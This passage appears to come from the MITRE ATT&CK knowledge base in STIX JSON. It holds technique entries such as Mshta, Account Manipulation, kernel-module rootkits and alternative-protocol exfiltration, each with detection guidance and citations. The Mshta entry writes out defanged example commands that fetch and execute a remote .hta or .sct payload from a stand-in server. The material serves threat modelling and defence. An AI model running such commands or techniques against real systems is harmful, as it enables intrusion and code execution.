(n.d.). Lambda execution role. Retrieved February 28, 2024.","url":"https://docs.aws.amazon.com/lambda/latest/dg/lambda-intro-execution-role.html"},{"source_name":"AWS Instance Profiles","description":"AWS. (n.d.). Using instance profiles. Retrieved February 28, 2024.","url":"https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html"},{"source_name":"GCP Create Cloud Identity Users","description":"Google. (n.d.). Create Cloud Identity user accounts. Retrieved January 29, 2020.","url":"https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554"},{"source_name":"GCP Service Accounts","description":"Google. (n.d.). Service Accounts Overview. Retrieved February 28, 2024.","url":"https://cloud.google.com/iam/docs/service-account-overview"},{"source_name":"Microsoft Azure AD Users","description":"Microsoft. (2019, November 11). Add or delete users using Azure Active Directory. Retrieved January 30, 2020.","url":"https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory"},{"source_name":"Microsoft Entra ID Service Principals","description":"Microsoft. (2023, December 15). Application and service principal objects in Microsoft Entra ID. Retrieved February 28, 2024.","url":"https://learn.microsoft.com/en-us/entra/identity-platform/app-objects-and-service-principals?tabs=browser"},{"source_name":"Microsoft Support O365 Add Another Admin, October 2019","description":"Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.","url":"https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2023-04-07T17:14:42.184Z","name":"Local Groups","description":"Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n\nCommands such as net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility, dscl . -list /Groups on macOS, and groups on Linux can list local groups.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Harshal Tupsamudre, Qualys","Miriam Wiesner, @miriamxyra, Microsoft Security"],"x_mitre_deprecated":false,"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Process: OS API Execution","Process: Process Creation","Group: Group Enumeration","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","created":"2020-03-12T19:29:21.013Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1069/001","external_id":"T1069.001"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1149","url":"https://attack.mitre.org/techniques/T1149"},{"url":"https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf","description":"Bit9 + Carbon Black Threat Research Team. (2015). 2015: The Most Prolific Year in History for OS X Malware. Retrieved July 8, 2017.","source_name":"Prolific OSX Malware History"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.","source_name":"Methods of Mac Malware Persistence"}],"modified":"2020-03-30T13:53:57.518Z","name":"LC_MAIN Hijacking","description":"**This technique has been deprecated and should no longer be used.**\n\nAs of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.","x_mitre_deprecated":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Application whitelisting","Process whitelisting","Whitelisting by file name or path"],"x_mitre_permissions_required":["User","Administrator"],"x_mitre_is_subtechnique":false},{"modified":"2024-09-12T19:19:47.759Z","name":"Search Open Websites/Domains","description":"Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_deprecated":false,"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.1","type":"attack-pattern","id":"attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365","created":"2020-10-02T16:48:04.509Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1593","external_id":"T1593"},{"source_name":"SecurityTrails Google Hacking","description":"Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved September 12, 2024.","url":"https://www.recordedfuture.com/threat-intelligence-101/threat-analysis-techniques/google-dorks"},{"source_name":"Cyware Social Media","description":"Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020.","url":"https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e"},{"source_name":"ExploitDB GoogleHacking","description":"Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.","url":"https://www.exploit-db.com/google-hacking-database"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:35:57.382Z","name":"Account Manipulation","description":"Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.(Citation: FireEye SMOKEDHAM June 2021) These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. \n\nIn order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Jannie Li, Microsoft Threat Intelligence Center (MSTIC)","Praetorian","Tim MalcomVetter","Wojciech Lesicki","Arad Inbar, Fidelis Security"],"x_mitre_deprecated":false,"x_mitre_detection":"Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)\n\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.\n\nMonitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","IaaS","Linux","macOS","SaaS","Network","Containers","Office Suite","Identity Provider"],"x_mitre_version":"2.7","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Active Directory: Active Directory Object Modification","File: File Modification","Group: Group Modification","User Account: User Account Modification"],"type":"attack-pattern","id":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","created":"2017-05-31T21:31:12.196Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1098","external_id":"T1098"},{"source_name":"FireEye SMOKEDHAM June 2021","description":"FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021.","url":"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html"},{"source_name":"Microsoft Security Event 4670","description":"Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670. Retrieved November 4, 2019.","url":"https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670"},{"source_name":"Microsoft User Modified Event","description":"Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017.","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738"},{"source_name":"InsiderThreat ChangeNTLM July 2017","description":"Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.","url":"https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM"},{"source_name":"GitHub Mimikatz Issue 92 June 2017","description":"Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017.","url":"https://github.com/gentilkiwi/mimikatz/issues/92"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ricardo Dias","Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1170","url":"https://attack.mitre.org/techniques/T1170"},{"source_name":"Wikipedia HTML Application","description":"Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.","url":"https://en.wikipedia.org/wiki/HTML_Application"},{"source_name":"MSDN HTML Applications","description":"Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.","url":"https://msdn.microsoft.com/library/ms536471.aspx"},{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"},{"source_name":"Red Canary HTA Abuse Part Deux","description":"McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.","url":"https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/"},{"url":"https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html","description":"Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.","source_name":"FireEye Attacks Leveraging HTA"},{"description":"Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.","source_name":"Airbus Security Kovter Analysis","url":"https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/"},{"url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","source_name":"FireEye FIN7 April 2017"},{"source_name":"LOLBAS Mshta","url":"https://lolbas-project.github.io/lolbas/Binaries/Mshta/","description":"LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019."}],"modified":"2022-01-19T21:19:03.910Z","name":"Mshta","description":"Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Application whitelisting","Digital Certificate Validation"],"x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"modified":"2024-10-15T15:57:26.415Z","name":"Exfiltration Over Alternative Protocol","description":"Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)\n\nMany IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_contributors":["William Cain","Alfredo Abarca"],"x_mitre_deprecated":false,"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","SaaS","IaaS","Network","Office Suite"],"x_mitre_version":"1.5","x_mitre_data_sources":["Cloud Storage: Cloud Storage Access","Network Traffic: Network Traffic Flow","Command: Command Execution","Network Traffic: Network Traffic Content","Application Log: Application Log Content","File: File Access","Network Traffic: Network Connection Creation"],"type":"attack-pattern","id":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","created":"2017-05-31T21:30:44.720Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1048","external_id":"T1048"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"},{"source_name":"Palo Alto OilRig Oct 2016","description":"Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"},{"source_name":"20 macOS Common Tools and Techniques","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T17:30:54.170Z","name":"Kernel Modules and Extensions","description":"Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming) \n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through kextload and kextunload commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)\n\nSince macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Wayne Silva, F-Secure Countercept","Anastasios Pingios","Jeremy Galloway","Red Canary","Eric Kaiser @ideologysec"],"x_mitre_deprecated":false,"x_mitre_detection":"Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nAdversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)\n\nOn macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike’s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)\n","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["macOS","Linux"],"x_mitre_version":"1.3","x_mitre_data_sources":["Command: Command Execution","File: File Creation","File: File Modification","Kernel: Kernel Module Load","Process: Process Creation"],"x_mitre_permissions_required":["root"],"type":"attack-pattern","id":"attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6","created":"2020-01-24T17:42:23.339Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1547/006","external_id":"T1547.006"},{"source_name":"Apple Developer Configuration Profile","description":"Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021.","url":"https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf"},{"source_name":"Apple Kernel Extension Deprecation","description":"Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020.","url":"https://developer.apple.com/support/kernel-extensions/"},{"source_name":"System and kernel extensions in macOS","description":"Apple. (n.d.). System and kernel extensions in macOS. Retrieved March 31, 2022.","url":"https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web"},{"source_name":"GitHub Reptile","description":"Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.","url":"https://github.com/f0rb1dd3n/Reptile"},{"source_name":"Volatility Phalanx2","description":"Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.","url":"https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html"},{"source_name":"iDefense Rootkit Overview","description":"Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved September 12, 2024.","url":"https://www.megasecurity.org/papers/Rootkits.pdf"},{"source_name":"Linux Loadable Kernel Module Insert and Remove LKMs","description":"Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018.","url":"http://tldp.org/HOWTO/Module-HOWTO/x197.html"},{"source_name":"CrowdStrike Linux Rootkit","description":"Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.","url":"https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/"},{"source_name":"GitHub Diamorphine","description":"Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.","url":"https://github.com/m0nad/Diamorphine"},{"source_name":"Securelist Ventir","description":"Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.","url":"https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/"},{"source_name":"User Approved Kernel Extension Pike’s","description":"Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading…. Retrieved September 23, 2021.","url":"https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/"},{"source_name":"Linux Kernel Module Programming Guide","description":"Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018.","url":"http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html"},{"source_name":"Linux Kernel Programming","description":"Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.","url":"https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf"},{"source_name":"Trend Micro Skidmap","description":"Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/"},{"source_name":"Purves Kextpocalypse 2","description":"Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021.","url":"https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/"},{"source_name":"RSAC 2015 San Francisco Patrick Wardle","description":"Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.","url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"},{"source_name":"Synack Secure Kernel Extension Broken","description":"Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel Extension Loading’ is Broken. Retrieved April 6, 2018.","url":"https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/"},{"source_name":"Wikipedia Loadable Kernel Module","description":"Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.","url":"https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-15T23:39:31.474Z","name":"GUI Input Capture","description":"Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs)\n\nAdversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., [Browser Information Discovery](https://attack.mitre.org/techniques/T1217) and/or [Application Window Discovery](https://attack.mitre.org/techniques/T1010)) to spoof prompts when users are naturally accessing sensitive sites/data.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"},{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["Matthew Molyett, @s1air, Cisco Talos"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) \n\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. 